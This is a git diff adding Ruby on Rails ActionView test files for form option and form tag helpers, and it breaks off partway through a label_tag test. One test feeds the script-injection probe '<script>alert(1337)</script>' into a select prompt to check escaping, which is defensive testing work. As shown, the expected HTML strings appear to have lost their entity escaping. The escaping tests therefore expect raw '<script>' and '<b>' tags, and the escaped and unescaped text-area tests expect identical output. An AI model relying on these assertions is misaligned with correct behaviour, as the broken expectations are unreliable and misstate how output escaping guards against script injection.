+    @post.author_name = "Babe"
+
+    assert_dom_equal(
+      "<select id=\"post_author_name\" name=\"post[author_name]\" style=\"width: 200px\"><option value=\"\"></option>\n<option value=\"<Abe>\"><Abe></option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>",
+      collection_select("post", "author_name", dummy_posts, "author_name", "author_name", { :include_blank => true }, "style" => "width: 200px")
+    )
+  end
+
+  def test_collection_select_with_blank_as_string_and_style
+    @post = Post.new
+    @post.author_name = "Babe"
+
+    assert_dom_equal(
+      "<select id=\"post_author_name\" name=\"post[author_name]\" style=\"width: 200px\"><option value=\"\">No Selection</option>\n<option value=\"<Abe>\"><Abe></option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>",
+      collection_select("post", "author_name", dummy_posts, "author_name", "author_name", { :include_blank => 'No Selection' }, "style" => "width: 200px")
+    )
+  end
+
+  def test_collection_select_with_multiple_option_appends_array_brackets_and_hidden_input
+    @post = Post.new
+    @post.author_name = "Babe"
+
+    expected = "<input type=\"hidden\" name=\"post[author_name][]\" value=\"\"/><select id=\"post_author_name\" name=\"post[author_name][]\" multiple=\"multiple\"><option value=\"\"></option>\n<option value=\"<Abe>\"><Abe></option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>"
+
+    # Should suffix default name with [].
+    assert_dom_equal expected, collection_select("post", "author_name", dummy_posts, "author_name", "author_name", { :include_blank => true }, :multiple => true)
+
+    # Shouldn't suffix custom name with [].
+    assert_dom_equal expected, collection_select("post", "author_name", dummy_posts, "author_name", "author_name", { :include_blank => true, :name => 'post[author_name][]' }, :multiple => true)
+  end
+
+  def test_collection_select_with_blank_and_selected
+    @post = Post.new
+    @post.author_name = "Babe"
+
+    assert_dom_equal(
+      %{<select id="post_author_name" name="post[author_name]"><option value=""></option>\n<option value="<Abe>" selected="selected"><Abe></option>\n<option value="Babe">Babe</option>\n<option value="Cabe">Cabe</option></select>},
+      collection_select("post", "author_name", dummy_posts, "author_name", "author_name", {:include_blank => true, :selected => "<Abe>"})
+    )
+  end
+
+  def test_collection_select_with_disabled
+    @post = Post.new
+    @post.author_name = "Babe"
+
+    assert_dom_equal(
+      "<select id=\"post_author_name\" name=\"post[author_name]\"><option value=\"<Abe>\"><Abe></option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\" disabled=\"disabled\">Cabe</option></select>",
+      collection_select("post", "author_name", dummy_posts, "author_name", "author_name", :disabled => 'Cabe')
+    )
+  end
+
+  def test_collection_select_with_proc_for_value_method
+    @post = Post.new
+
+    assert_dom_equal(
+      "<select id=\"post_author_name\" name=\"post[author_name]\"><option value=\"<Abe>\"><Abe> went home</option>\n<option value=\"Babe\">Babe went home</option>\n<option value=\"Cabe\">Cabe went home</option></select>",
+      collection_select("post", "author_name", dummy_posts, lambda { |p| p.author_name }, "title")
+    )
+  end
+
+  def test_collection_select_with_proc_for_text_method
+    @post = Post.new
+
+    assert_dom_equal(
+      "<select id=\"post_author_name\" name=\"post[author_name]\"><option value=\"<Abe>\"><Abe> went home</option>\n<option value=\"Babe\">Babe went home</option>\n<option value=\"Cabe\">Cabe went home</option></select>",
+      collection_select("post", "author_name", dummy_posts, "author_name", lambda { |p| p.title })
+    )
+  end
+
+  def test_time_zone_select
+    @firm = Firm.new("D")
+    html = time_zone_select( "firm", "time_zone" )
+    assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" +
+                 "<option value=\"A\">A</option>\n" +
+                 "<option value=\"B\">B</option>\n" +
+                 "<option value=\"C\">C</option>\n" +
+                 "<option value=\"D\" selected=\"selected\">D</option>\n" +
+                 "<option value=\"E\">E</option>" +
+                 "</select>",
+                 html
+  end
+
+  def test_time_zone_select_under_fields_for
+    @firm = Firm.new("D")
+
+    output_buffer = fields_for :firm, @firm do |f|
+      concat f.time_zone_select(:time_zone)
+    end
+
+    assert_dom_equal(
+      "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" +
+      "<option value=\"A\">A</option>\n" +
+      "<option value=\"B\">B</option>\n" +
+      "<option value=\"C\">C</option>\n" +
+      "<option value=\"D\" selected=\"selected\">D</option>\n" +
+      "<option value=\"E\">E</option>" +
+      "</select>",
+      output_buffer
+    )
+  end
+
+  def test_time_zone_select_under_fields_for_with_index
+    @firm = Firm.new("D")
+
+    output_buffer = fields_for :firm, @firm, :index => 305 do |f|
+      concat f.time_zone_select(:time_zone)
+    end
+
+    assert_dom_equal(
+      "<select id=\"firm_305_time_zone\" name=\"firm[305][time_zone]\">" +
+      "<option value=\"A\">A</option>\n" +
+      "<option value=\"B\">B</option>\n" +
+      "<option value=\"C\">C</option>\n" +
+      "<option value=\"D\" selected=\"selected\">D</option>\n" +
+      "<option value=\"E\">E</option>" +
+      "</select>",
+      output_buffer
+    )
+  end
+
+  def test_time_zone_select_under_fields_for_with_auto_index
+    @firm = Firm.new("D")
+    def @firm.to_param; 305; end
+
+    output_buffer = fields_for "firm[]", @firm do |f|
+      concat f.time_zone_select(:time_zone)
+    end
+
+    assert_dom_equal(
+      "<select id=\"firm_305_time_zone\" name=\"firm[305][time_zone]\">" +
+      "<option value=\"A\">A</option>\n" +
+      "<option value=\"B\">B</option>\n" +
+      "<option value=\"C\">C</option>\n" +
+      "<option value=\"D\" selected=\"selected\">D</option>\n" +
+      "<option value=\"E\">E</option>" +
+      "</select>",
+      output_buffer
+    )
+  end
+
+  def test_time_zone_select_with_blank
+    @firm = Firm.new("D")
+    html = time_zone_select("firm", "time_zone", nil, :include_blank => true)
+    assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" +
+                 "<option value=\"\"></option>\n" +
+                 "<option value=\"A\">A</option>\n" +
+                 "<option value=\"B\">B</option>\n" +
+                 "<option value=\"C\">C</option>\n" +
+                 "<option value=\"D\" selected=\"selected\">D</option>\n" +
+                 "<option value=\"E\">E</option>" +
+                 "</select>",
+                 html
+  end
+
+  def test_time_zone_select_with_blank_as_string
+    @firm = Firm.new("D")
+    html = time_zone_select("firm", "time_zone", nil, :include_blank => 'No Zone')
+    assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" +
+                 "<option value=\"\">No Zone</option>\n" +
+                 "<option value=\"A\">A</option>\n" +
+                 "<option value=\"B\">B</option>\n" +
+                 "<option value=\"C\">C</option>\n" +
+                 "<option value=\"D\" selected=\"selected\">D</option>\n" +
+                 "<option value=\"E\">E</option>" +
+                 "</select>",
+                 html
+  end
+
+  def test_time_zone_select_with_style
+    @firm = Firm.new("D")
+    html = time_zone_select("firm", "time_zone", nil, {},
+      "style" => "color: red")
+    assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\" style=\"color: red\">" +
+                 "<option value=\"A\">A</option>\n" +
+                 "<option value=\"B\">B</option>\n" +
+                 "<option value=\"C\">C</option>\n" +
+                 "<option value=\"D\" selected=\"selected\">D</option>\n" +
+                 "<option value=\"E\">E</option>" +
+                 "</select>",
+                 html
+    assert_dom_equal html, time_zone_select("firm", "time_zone", nil, {},
+      :style => "color: red")
+  end
+
+  def test_time_zone_select_with_blank_and_style
+    @firm = Firm.new("D")
+    html = time_zone_select("firm", "time_zone", nil,
+      { :include_blank => true }, "style" => "color: red")
+    assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\" style=\"color: red\">" +
+                 "<option value=\"\"></option>\n" +
+                 "<option value=\"A\">A</option>\n" +
+                 "<option value=\"B\">B</option>\n" +
+                 "<option value=\"C\">C</option>\n" +
+                 "<option value=\"D\" selected=\"selected\">D</option>\n" +
+                 "<option value=\"E\">E</option>" +
+                 "</select>",
+                 html
+    assert_dom_equal html, time_zone_select("firm", "time_zone", nil,
+      { :include_blank => true }, :style => "color: red")
+  end
+
+  def test_time_zone_select_with_blank_as_string_and_style
+    @firm = Firm.new("D")
+    html = time_zone_select("firm", "time_zone", nil,
+      { :include_blank => 'No Zone' }, "style" => "color: red")
+    assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\" style=\"color: red\">" +
+                 "<option value=\"\">No Zone</option>\n" +
+                 "<option value=\"A\">A</option>\n" +
+                 "<option value=\"B\">B</option>\n" +
+                 "<option value=\"C\">C</option>\n" +
+                 "<option value=\"D\" selected=\"selected\">D</option>\n" +
+                 "<option value=\"E\">E</option>" +
+                 "</select>",
+                 html
+    assert_dom_equal html, time_zone_select("firm", "time_zone", nil,
+      { :include_blank => 'No Zone' }, :style => "color: red")
+  end
+
+  def test_time_zone_select_with_priority_zones
+    @firm = Firm.new("D")
+    zones = [ ActiveSupport::TimeZone.new("A"), ActiveSupport::TimeZone.new("D") ]
+    html = time_zone_select("firm", "time_zone", zones )
+    assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" +
+                 "<option value=\"A\">A</option>\n" +
+                 "<option value=\"D\" selected=\"selected\">D</option>" +
+                 "<option value=\"\" disabled=\"disabled\">-------------</option>\n" +
+                 "<option value=\"B\">B</option>\n" +
+                 "<option value=\"C\">C</option>\n" +
+                 "<option value=\"E\">E</option>" +
+                 "</select>",
+                 html
+  end
+
+  def test_time_zone_select_with_priority_zones_as_regexp
+    @firm = Firm.new("D")
+
+    @fake_timezones.each_with_index do |tz, i|
+      tz.stubs(:=~).returns(i.zero? || i == 3)
+    end
+
+    html = time_zone_select("firm", "time_zone", /A|D/)
+    assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" +
+                 "<option value=\"A\">A</option>\n" +
+                 "<option value=\"D\" selected=\"selected\">D</option>" +
+                 "<option value=\"\" disabled=\"disabled\">-------------</option>\n" +
+                 "<option value=\"B\">B</option>\n" +
+                 "<option value=\"C\">C</option>\n" +
+                 "<option value=\"E\">E</option>" +
+                 "</select>",
+                 html
+  end
+
+  def test_time_zone_select_with_priority_zones_as_regexp_using_grep_finds_no_zones
+    @firm = Firm.new("D")
+
+    priority_zones = /A|D/
+    @fake_timezones.each do |tz|
+      priority_zones.stubs(:===).with(tz).raises(Exception)
+    end
+
+    html = time_zone_select("firm", "time_zone", priority_zones)
+    assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" +
+                 "<option value=\"\" disabled=\"disabled\">-------------</option>\n" +
+                 "<option value=\"A\">A</option>\n" +
+                 "<option value=\"B\">B</option>\n" +
+                 "<option value=\"C\">C</option>\n" +
+                 "<option value=\"D\" selected=\"selected\">D</option>\n" +
+                 "<option value=\"E\">E</option>" +
+                 "</select>",
+                 html
+  end
+
+  def test_time_zone_select_with_default_time_zone_and_nil_value
+     @firm = Firm.new()
+     @firm.time_zone = nil
+
+     html = time_zone_select( "firm", "time_zone", nil, :default => 'B' )
+     assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" +
+                   "<option value=\"A\">A</option>\n" +
+                   "<option value=\"B\" selected=\"selected\">B</option>\n" +
+                   "<option value=\"C\">C</option>\n" +
+                   "<option value=\"D\">D</option>\n" +
+                   "<option value=\"E\">E</option>" +
+                   "</select>",
+                   html
+  end
+
+  def test_time_zone_select_with_default_time_zone_and_value
+    @firm = Firm.new('D')
+
+    html = time_zone_select( "firm", "time_zone", nil, :default => 'B' )
+    assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" +
+                  "<option value=\"A\">A</option>\n" +
+                  "<option value=\"B\">B</option>\n" +
+                  "<option value=\"C\">C</option>\n" +
+                  "<option value=\"D\" selected=\"selected\">D</option>\n" +
+                  "<option value=\"E\">E</option>" +
+                  "</select>",
+                  html
+  end
+
+  def test_options_for_select_with_element_attributes
+    assert_dom_equal(
+      "<option value=\"<Denmark>\" class=\"bold\"><Denmark></option>\n<option value=\"USA\" onclick=\"alert('Hello World');\">USA</option>\n<option value=\"Sweden\">Sweden</option>\n<option value=\"Germany\">Germany</option>",
+      options_for_select([ [ "<Denmark>", { :class => 'bold' } ], [ "USA", { :onclick => "alert('Hello World');" } ], [ "Sweden" ], "Germany" ])
+    )
+  end
+
+  def test_options_for_select_with_data_element
+    assert_dom_equal(
+      "<option value=\"<Denmark>\" data-test=\"bold\"><Denmark></option>",
+      options_for_select([ [ "<Denmark>", { :data => { :test => 'bold' } } ] ])
+    )
+  end
+
+  def test_options_for_select_with_data_element_with_special_characters
+    assert_dom_equal(
+      "<option value=\"<Denmark>\" data-test=\"<bold>\"><Denmark></option>",
+      options_for_select([ [ "<Denmark>", { :data => { :test => '<bold>' } } ] ])
+    )
+  end
+
+  def test_options_for_select_with_element_attributes_and_selection
+    assert_dom_equal(
+      "<option value=\"<Denmark>\"><Denmark></option>\n<option value=\"USA\" class=\"bold\" selected=\"selected\">USA</option>\n<option value=\"Sweden\">Sweden</option>",
+      options_for_select([ "<Denmark>", [ "USA", { :class => 'bold' } ], "Sweden" ], "USA")
+    )
+  end
+
+  def test_options_for_select_with_element_attributes_and_selection_array
+    assert_dom_equal(
+      "<option value=\"<Denmark>\"><Denmark></option>\n<option value=\"USA\" class=\"bold\" selected=\"selected\">USA</option>\n<option value=\"Sweden\" selected=\"selected\">Sweden</option>",
+      options_for_select([ "<Denmark>", [ "USA", { :class => 'bold' } ], "Sweden" ], [ "USA", "Sweden" ])
+    )
+  end
+
+  def test_options_for_select_with_special_characters
+    assert_dom_equal(
+      "<option value=\"<Denmark>\" onclick=\"alert("<code>")\"><Denmark></option>",
+      options_for_select([ [ "<Denmark>", { :onclick => %(alert("<code>")) } ] ])
+    )
+  end
+
+  def test_option_html_attributes_with_no_array_element
+    assert_equal({}, option_html_attributes('foo'))
+  end
+
+  def test_option_html_attributes_without_hash
+    assert_equal({}, option_html_attributes([ 'foo', 'bar' ]))
+  end
+
+  def test_option_html_attributes_with_single_element_hash
+    assert_equal(
+      {:class => 'fancy'},
+      option_html_attributes([ 'foo', 'bar', { :class => 'fancy' } ])
+    )
+  end
+
+  def test_option_html_attributes_with_multiple_element_hash
+    assert_equal(
+      {:class => 'fancy', 'onclick' => "alert('Hello World');"},
+      option_html_attributes([ 'foo', 'bar', { :class => 'fancy', 'onclick' => "alert('Hello World');" } ])
+    )
+  end
+
+  def test_option_html_attributes_with_multiple_hashes
+    assert_equal(
+      {:class => 'fancy', 'onclick' => "alert('Hello World');"},
+      option_html_attributes([ 'foo', 'bar', { :class => 'fancy' }, { 'onclick' => "alert('Hello World');" } ])
+    )
+  end
+
+  def test_option_html_attributes_with_multiple_hashes_does_not_modify_them
+    options1 = { class: 'fancy' }
+    options2 = { onclick: "alert('Hello World');" }
+    option_html_attributes([ 'foo', 'bar', options1, options2 ])
+
+    assert_equal({ class: 'fancy' }, options1)
+    assert_equal({ onclick: "alert('Hello World');" }, options2)
+  end
+
+  def test_grouped_collection_select
+    @post = Post.new
+    @post.origin = 'dk'
+
+    assert_dom_equal(
+      %Q{<select id="post_origin" name="post[origin]"><optgroup label="<Africa>"><option value="<sa>"><South Africa></option>\n<option value="so">Somalia</option></optgroup><optgroup label="Europe"><option value="dk" selected="selected">Denmark</option>\n<option value="ie">Ireland</option></optgroup></select>},
+      grouped_collection_select("post", "origin", dummy_continents, :countries, :continent_name, :country_id, :country_name)
+    )
+  end
+
+  def test_grouped_collection_select_with_selected
+    @post = Post.new
+
+    assert_dom_equal(
+      %Q{<select id="post_origin" name="post[origin]"><optgroup label="<Africa>"><option value="<sa>"><South Africa></option>\n<option value="so">Somalia</option></optgroup><optgroup label="Europe"><option value="dk" selected="selected">Denmark</option>\n<option value="ie">Ireland</option></optgroup></select>},
+      grouped_collection_select("post", "origin", dummy_continents, :countries, :continent_name, :country_id, :country_name, :selected => 'dk')
+    )
+  end
+
+  def test_grouped_collection_select_with_disabled_value
+    @post = Post.new
+
+    assert_dom_equal(
+      %Q{<select id="post_origin" name="post[origin]"><optgroup label="<Africa>"><option value="<sa>"><South Africa></option>\n<option value="so">Somalia</option></optgroup><optgroup label="Europe"><option disabled="disabled" value="dk">Denmark</option>\n<option value="ie">Ireland</option></optgroup></select>},
+      grouped_collection_select("post", "origin", dummy_continents, :countries, :continent_name, :country_id, :country_name, :disabled => 'dk')
+    )
+  end
+
+  def test_grouped_collection_select_under_fields_for
+    @post = Post.new
+    @post.origin = 'dk'
+
+    output_buffer = fields_for :post, @post do |f|
+      concat f.grouped_collection_select("origin", dummy_continents, :countries, :continent_name, :country_id, :country_name)
+    end
+
+    assert_dom_equal(
+      %Q{<select id="post_origin" name="post[origin]"><optgroup label="<Africa>"><option value="<sa>"><South Africa></option>\n<option value="so">Somalia</option></optgroup><optgroup label="Europe"><option value="dk" selected="selected">Denmark</option>\n<option value="ie">Ireland</option></optgroup></select>},
+      output_buffer
+    )
+  end
+
+  private
+
+  def dummy_posts
+    [ Post.new("<Abe> went home", "<Abe>", "To a little house", "shh!"),
+      Post.new("Babe went home", "Babe", "To a little house", "shh!"),
+      Post.new("Cabe went home", "Cabe", "To a little house", "shh!") ]
+  end
+
+  def dummy_continents
+    [ Continent.new("<Africa>", [Country.new("<sa>", "<South Africa>"), Country.new("so", "Somalia")]),
+      Continent.new("Europe", [Country.new("dk", "Denmark"), Country.new("ie", "Ireland")]) ]
+  end
+end
diff --git a/actionview/test/template/form_tag_helper_test.rb b/actionview/test/template/form_tag_helper_test.rb
new file mode 100644
index 0000000..cf824e2
--- /dev/null
+++ b/actionview/test/template/form_tag_helper_test.rb
@@ -0,0 +1,634 @@
+require 'abstract_unit'
+
+class FormTagHelperTest < ActionView::TestCase
+  include RenderERBUtils
+
+  tests ActionView::Helpers::FormTagHelper
+
+  def setup
+    super
+    @controller = BasicController.new
+  end
+
+  def hidden_fields(options = {})
+    method = options[:method]
+    enforce_utf8 = options.fetch(:enforce_utf8, true)
+
+    txt =  %{<div style="display:none">}
+    txt << %{<input name="utf8" type="hidden" value="&#x2713;" />} if enforce_utf8
+    if method && !%w(get post).include?(method.to_s)
+      txt << %{<input name="_method" type="hidden" value="#{method}" />}
+    end
+    txt << %{</div>}
+  end
+
+  def form_text(action = "http://www.example.com", options = {})
+    remote, enctype, html_class, id, method = options.values_at(:remote, :enctype, :html_class, :id, :method)
+
+    method = method.to_s == "get" ? "get" : "post"
+
+    txt =  %{<form accept-charset="UTF-8" action="#{action}"}
+    txt << %{ enctype="multipart/form-data"} if enctype
+    txt << %{ data-remote="true"} if remote
+    txt << %{ class="#{html_class}"} if html_class
+    txt << %{ id="#{id}"} if id
+    txt << %{ method="#{method}">}
+  end
+
+  def whole_form(action = "http://www.example.com", options = {})
+    out = form_text(action, options) + hidden_fields(options)
+
+    if block_given?
+      out << yield << "</form>"
+    end
+
+    out
+  end
+
+  def url_for(options)
+    if options.is_a?(Hash)
+      "http://www.example.com"
+    else
+      super
+    end
+  end
+
+  VALID_HTML_ID = /^[A-Za-z][-_:.A-Za-z0-9]*$/ # see http://www.w3.org/TR/html4/types.html#type-name
+
+  def test_check_box_tag
+    actual = check_box_tag "admin"
+    expected = %(<input id="admin" name="admin" type="checkbox" value="1" />)
+    assert_dom_equal expected, actual
+  end
+
+  def test_check_box_tag_id_sanitized
+    label_elem = root_elem(check_box_tag("project[2][admin]"))
+    assert_match VALID_HTML_ID, label_elem['id']
+  end
+
+  def test_form_tag
+    actual = form_tag
+    expected = whole_form
+    assert_dom_equal expected, actual
+  end
+
+  def test_form_tag_multipart
+    actual = form_tag({}, { 'multipart' => true })
+    expected = whole_form("http://www.example.com", :enctype => true)
+    assert_dom_equal expected, actual
+  end
+
+  def test_form_tag_with_method_patch
+    actual = form_tag({}, { :method => :patch })
+    expected = whole_form("http://www.example.com", :method => :patch)
+    assert_dom_equal expected, actual
+  end
+
+  def test_form_tag_with_method_put
+    actual = form_tag({}, { :method => :put })
+    expected = whole_form("http://www.example.com", :method => :put)
+    assert_dom_equal expected, actual
+  end
+
+  def test_form_tag_with_method_delete
+    actual = form_tag({}, { :method => :delete })
+
+    expected = whole_form("http://www.example.com", :method => :delete)
+    assert_dom_equal expected, actual
+  end
+
+  def test_form_tag_with_remote
+    actual = form_tag({}, :remote => true)
+
+    expected = whole_form("http://www.example.com", :remote => true)
+    assert_dom_equal expected, actual
+  end
+
+  def test_form_tag_with_remote_false
+    actual = form_tag({}, :remote => false)
+
+    expected = whole_form
+    assert_dom_equal expected, actual
+  end
+
+  def test_form_tag_enforce_utf8_true
+    actual = form_tag({}, { :enforce_utf8 => true })
+    expected = whole_form("http://www.example.com", :enforce_utf8 => true)
+    assert_dom_equal expected, actual
+    assert actual.html_safe?
+  end
+
+  def test_form_tag_enforce_utf8_false
+    actual = form_tag({}, { :enforce_utf8 => false })
+    expected = whole_form("http://www.example.com", :enforce_utf8 => false)
+    assert_dom_equal expected, actual
+    assert actual.html_safe?
+  end
+
+  def test_form_tag_with_block_in_erb
+    output_buffer = render_erb("<%= form_tag('http://www.example.com') do %>Hello world!<% end %>")
+
+    expected = whole_form { "Hello world!" }
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_tag_with_block_and_method_in_erb
+    output_buffer = render_erb("<%= form_tag('http://www.example.com', :method => :put) do %>Hello world!<% end %>")
+
+    expected = whole_form("http://www.example.com", :method => "put") do
+      "Hello world!"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_hidden_field_tag
+    actual = hidden_field_tag "id", 3
+    expected = %(<input id="id" name="id" type="hidden" value="3" />)
+    assert_dom_equal expected, actual
+  end
+
+  def test_hidden_field_tag_id_sanitized
+    input_elem = root_elem(hidden_field_tag("item[][title]"))
+    assert_match VALID_HTML_ID, input_elem['id']
+  end
+
+  def test_file_field_tag
+    assert_dom_equal "<input name=\"picsplz\" type=\"file\" id=\"picsplz\" />", file_field_tag("picsplz")
+  end
+
+  def test_file_field_tag_with_options
+    assert_dom_equal "<input name=\"picsplz\" type=\"file\" id=\"picsplz\" class=\"pix\"/>", file_field_tag("picsplz", :class => "pix")
+  end
+
+  def test_password_field_tag
+    actual = password_field_tag
+    expected = %(<input id="password" name="password" type="password" />)
+    assert_dom_equal expected, actual
+  end
+
+  def test_radio_button_tag
+    actual = radio_button_tag "people", "david"
+    expected = %(<input id="people_david" name="people" type="radio" value="david" />)
+    assert_dom_equal expected, actual
+
+    actual = radio_button_tag("num_people", 5)
+    expected = %(<input id="num_people_5" name="num_people" type="radio" value="5" />)
+    assert_dom_equal expected, actual
+
+    actual = radio_button_tag("gender", "m") + radio_button_tag("gender", "f")
+    expected = %(<input id="gender_m" name="gender" type="radio" value="m" /><input id="gender_f" name="gender" type="radio" value="f" />)
+    assert_dom_equal expected, actual
+
+    actual = radio_button_tag("opinion", "-1") + radio_button_tag("opinion", "1")
+    expected = %(<input id="opinion_-1" name="opinion" type="radio" value="-1" /><input id="opinion_1" name="opinion" type="radio" value="1" />)
+    assert_dom_equal expected, actual
+
+    actual = radio_button_tag("person[gender]", "m")
+    expected = %(<input id="person_gender_m" name="person[gender]" type="radio" value="m" />)
+    assert_dom_equal expected, actual
+
+    actual = radio_button_tag('ctrlname', 'apache2.2')
+    expected = %(<input id="ctrlname_apache2.2" name="ctrlname" type="radio" value="apache2.2" />)
+    assert_dom_equal expected, actual
+  end
+
+  def test_select_tag
+    actual = select_tag "people", "<option>david</option>".html_safe
+    expected = %(<select id="people" name="people"><option>david</option></select>)
+    assert_dom_equal expected, actual
+  end
+
+  def test_select_tag_with_multiple
+    actual = select_tag "colors", "<option>Red</option><option>Blue</option><option>Green</option>".html_safe, :multiple => :true
+    expected = %(<select id="colors" multiple="multiple" name="colors"><option>Red</option><option>Blue</option><option>Green</option></select>)
+    assert_dom_equal expected, actual
+  end
+
+  def test_select_tag_disabled
+    actual = select_tag "places", "<option>Home</option><option>Work</option><option>Pub</option>".html_safe, :disabled => :true
+    expected = %(<select id="places" disabled="disabled" name="places"><option>Home</option><option>Work</option><option>Pub</option></select>)
+    assert_dom_equal expected, actual
+  end
+
+  def test_select_tag_id_sanitized
+    input_elem = root_elem(select_tag("project[1]people", "<option>david</option>"))
+    assert_match VALID_HTML_ID, input_elem['id']
+  end
+
+  def test_select_tag_with_include_blank
+    actual = select_tag "places", "<option>Home</option><option>Work</option><option>Pub</option>".html_safe, :include_blank => true
+    expected = %(<select id="places" name="places"><option value=""></option><option>Home</option><option>Work</option><option>Pub</option></select>)
+    assert_dom_equal expected, actual
+  end
+
+  def test_select_tag_with_prompt
+    actual = select_tag "places", "<option>Home</option><option>Work</option><option>Pub</option>".html_safe, :prompt => "string"
+    expected = %(<select id="places" name="places"><option value="">string</option><option>Home</option><option>Work</option><option>Pub</option></select>)
+    assert_dom_equal expected, actual
+  end
+
+  def test_select_tag_escapes_prompt
+    actual = select_tag "places", "<option>Home</option><option>Work</option><option>Pub</option>".html_safe, :prompt => "<script>alert(1337)</script>"
+    expected = %(<select id="places" name="places"><option value=""><script>alert(1337)</script></option><option>Home</option><option>Work</option><option>Pub</option></select>)
+    assert_dom_equal expected, actual
+  end
+
+  def test_select_tag_with_prompt_and_include_blank
+    actual = select_tag "places", "<option>Home</option><option>Work</option><option>Pub</option>".html_safe, :prompt => "string", :include_blank => true
+    expected = %(<select name="places" id="places"><option value="">string</option><option value=""></option><option>Home</option><option>Work</option><option>Pub</option></select>)
+    assert_dom_equal expected, actual
+  end
+
+  def test_select_tag_with_nil_option_tags_and_include_blank
+    actual = select_tag "places", nil, :include_blank => true
+    expected = %(<select id="places" name="places"><option value=""></option></select>)
+    assert_dom_equal expected, actual
+  end
+
+  def test_select_tag_with_nil_option_tags_and_prompt
+    actual = select_tag "places", nil, :prompt => "string"
+    expected = %(<select id="places" name="places"><option value="">string</option></select>)
+    assert_dom_equal expected, actual
+  end
+
+  def test_text_area_tag_size_string
+    actual = text_area_tag "body", "hello world", "size" => "20x40"
+    expected = %(<textarea cols="20" id="body" name="body" rows="40">\nhello world</textarea>)
+    assert_dom_equal expected, actual
+  end
+
+  def test_text_area_tag_size_symbol
+    actual = text_area_tag "body", "hello world", :size => "20x40"
+    expected = %(<textarea cols="20" id="body" name="body" rows="40">\nhello world</textarea>)
+    assert_dom_equal expected, actual
+  end
+
+  def test_text_area_tag_should_disregard_size_if_its_given_as_an_integer
+    actual = text_area_tag "body", "hello world", :size => 20
+    expected = %(<textarea id="body" name="body">\nhello world</textarea>)
+    assert_dom_equal expected, actual
+  end
+
+  def test_text_area_tag_id_sanitized
+    input_elem = root_elem(text_area_tag("item[][description]"))
+    assert_match VALID_HTML_ID, input_elem['id']
+  end
+
+  def test_text_area_tag_escape_content
+    actual = text_area_tag "body", "<b>hello world</b>", :size => "20x40"
+    expected = %(<textarea cols="20" id="body" name="body" rows="40">\n<b>hello world</b></textarea>)
+    assert_dom_equal expected, actual
+  end
+
+  def test_text_area_tag_unescaped_content
+    actual = text_area_tag "body", "<b>hello world</b>", :size => "20x40", :escape => false
+    expected = %(<textarea cols="20" id="body" name="body" rows="40">\n<b>hello world</b></textarea>)
+    assert_dom_equal expected, actual
+  end
+
+  def test_text_area_tag_unescaped_nil_content
+    actual = text_area_tag "body", nil, :escape => false
+    expected = %(<textarea id="body" name="body">\n</textarea>)
+    assert_dom_equal expected, actual
+  end
+
+  def test_text_field_tag
+    actual = text_field_tag "title", "Hello!"
+    expected = %(<input id="title" name="title" type="text" value="Hello!" />)
+    assert_dom_equal expected, actual
+  end
+
+  def test_text_field_tag_class_string
+    actual = text_field_tag "title", "Hello!", "class" => "admin"
+    expected = %(<input class="admin" id="title" name="title" type="text" value="Hello!" />)
+    assert_dom_equal expected, actual
+  end
+
+  def test_text_field_tag_size_symbol
+    actual = text_field_tag "title", "Hello!", :size => 75
+    expected = %(<input id="title" name="title" size="75" type="text" value="Hello!" />)
+    assert_dom_equal expected, actual
+  end
+
+  def test_text_field_tag_size_string
+    actual = text_field_tag "title", "Hello!", "size" => "75"
+    expected = %(<input id="title" name="title" size="75" type="text" value="Hello!" />)
+    assert_dom_equal expected, actual
+  end
+
+  def test_text_field_tag_maxlength_symbol
+    actual = text_field_tag "title", "Hello!", :maxlength => 75
+    expected = %(<input id="title" name="title" maxlength="75" type="text" value="Hello!" />)
+    assert_dom_equal expected, actual
+  end
+
+  def test_text_field_tag_maxlength_string
+    actual = text_field_tag "title", "Hello!", "maxlength" => "75"
+    expected = %(<input id="title" name="title" maxlength="75" type="text" value="Hello!" />)
+    assert_dom_equal expected, actual
+  end
+
+  def test_text_field_disabled
+    actual = text_field_tag "title", "Hello!", :disabled => :true
+    expected = %(<input id="title" name="title" disabled="disabled" type="text" value="Hello!" />)
+    assert_dom_equal expected, actual
+  end
+
+  def test_text_field_tag_with_multiple_options
+    actual = text_field_tag "title", "Hello!", :size => 70, :maxlength => 80
+    expected = %(<input id="title" name="title" size="70" maxlength="80" type="text" value="Hello!" />)
+    assert_dom_equal expected, actual
+  end
+
+  def test_text_field_tag_id_sanitized
+    input_elem = root_elem(text_field_tag("item[][title]"))
+    assert_match VALID_HTML_ID, input_elem['id']
+  end
+
+  def test_label_tag_without_text
+    actual = label_tag "title"
+    expected = %(<label for="title">Title</label>)
+    assert_dom_equal expected, actual
+  end
+
+  def test_label_tag_with_symbol
+    actual = label_tag :title
+    expected = %(<label for="title">Title</label>)
+    assert_dom_equal expected, actual
+  end
+
+  def test_label_tag_with_text
+    actual = label_tag "title", "My Title"
+    expected = %(<label for="title">My Title</label>)
+    assert_dom_equal expected, actual
+  end
+
+  def test_label_tag_class_string
+    actual = label_tag "title", "My Title", "class" => "small_label"
+    expected = %(<label for="title" class="small_label">My Title</label>)
+    assert_dom_equal expected, actual
+  end
+
+  def test_label_tag_id_sanitized
+    label_elem = root_elem(label_tag("item[title]"))
+    assert_match VALID_HTML_ID, label_elem['for']
+  end
+
+  def test_label_tag_with_block
